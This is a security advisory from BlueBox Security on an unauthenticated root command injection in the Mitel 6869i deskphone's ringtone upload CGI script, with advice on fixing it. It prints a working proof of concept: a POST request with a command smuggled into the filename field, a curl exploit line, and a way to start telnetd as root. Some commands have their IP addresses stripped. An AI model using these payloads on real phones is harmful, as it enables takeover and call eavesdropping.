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bbs-2019.001.txt 08-August-2019  
Vendor: Mitel   
Affected Products: Mitel 6869i Voip Deskphone Version 4.2.2032 - SIP  
Not Affected: unknown  
Vulnerability: Mitel 6869i SIP Deskphone 4.2.2032: Unauthenticated Bash   
Command Injection Vulnerability with Root Priviledges in   
/cgi-bin/webuploadconfig script  
Risk: High   
Vendor communication:  
2019/08/08 BlueBox Security releases this advisory  
The Mitel 6869i is a desktop VoIP phone offering telephony features.   
A webservice running on the TCP Port 49249 is used to administrate the phone's   
VoIP settings, upgrade the firmware and change security settings.  
The Webserver on port 49249 of the Mitel 6869i phone is using the "webuploadconfig" cgi-script,   
an arm linux elf executable file, to upload ring tone audio files to the   
phone with the page=upload_ringtone parameter.   
The execution of this cgi-script does not require prior authentication.  
Futhermore the script is vulnerable to Bash Command Injection.  
The filename value of the POST request is used unsanitized in a system() call.  
The vulnerable POST request to the webuploadconfig-script is the following:  
POST //cgi-bin/webuploadconfig?page=upload_ringtone&action=submit&section=0&conn=1 HTTP/1.1  
User-Agent: curl/7.65.1  
Accept: */*  
Content-Length: 185  
Content-Type: multipart/form-data; boundary=------------------------2754e6a90f270263  
Connection: close  
Content-Disposition: form-data; name="file"; filename="`ping -c 1`"  
By inserting "|command", "`command`" or "$(command) as the value of the "filename" parameter  
the "command" is executed on the underlying linux operating system.  
The following linux bash commandline exploits this vulnerability and executes the  
command "ping -c 1" on the Mitel 6869i phone with the IP Adress with root priviledges:  
$ echo "pwned" | curl -F "file=@-;filename=\`ping -c 1\`" \  
To verify the successfull completion of the ping-command on the Mitel 6869i   
phone, start tcpdump on the host system and listen for incoming icmp requests.  
(eg by running tcpdump -i eth0 -n icmp)  
The "webuploadconfig" cgi-script also runs with superuser root-priviledges as   
the telnetd service can be started on the restricted TCP-port 23 by replacing  
the ping-command with "telnetd &".  
The described problems allow an unauthenticated attacker to run arbitary linux  
operating system commands with root-priledges. This leads to a complete comprimise  
of the Mitel 6869i phone and therefore also the possibility to eavesdrop on the  
victim's calls.  
We recommend to properly perform input parsing of the filename parameter to avoid  
Command Injection vulnerabilities.  
As a quick fix blocking access to the port 49249 is advisable.  
Bug found by Axel Rengstorf <> of Bluebox Security  
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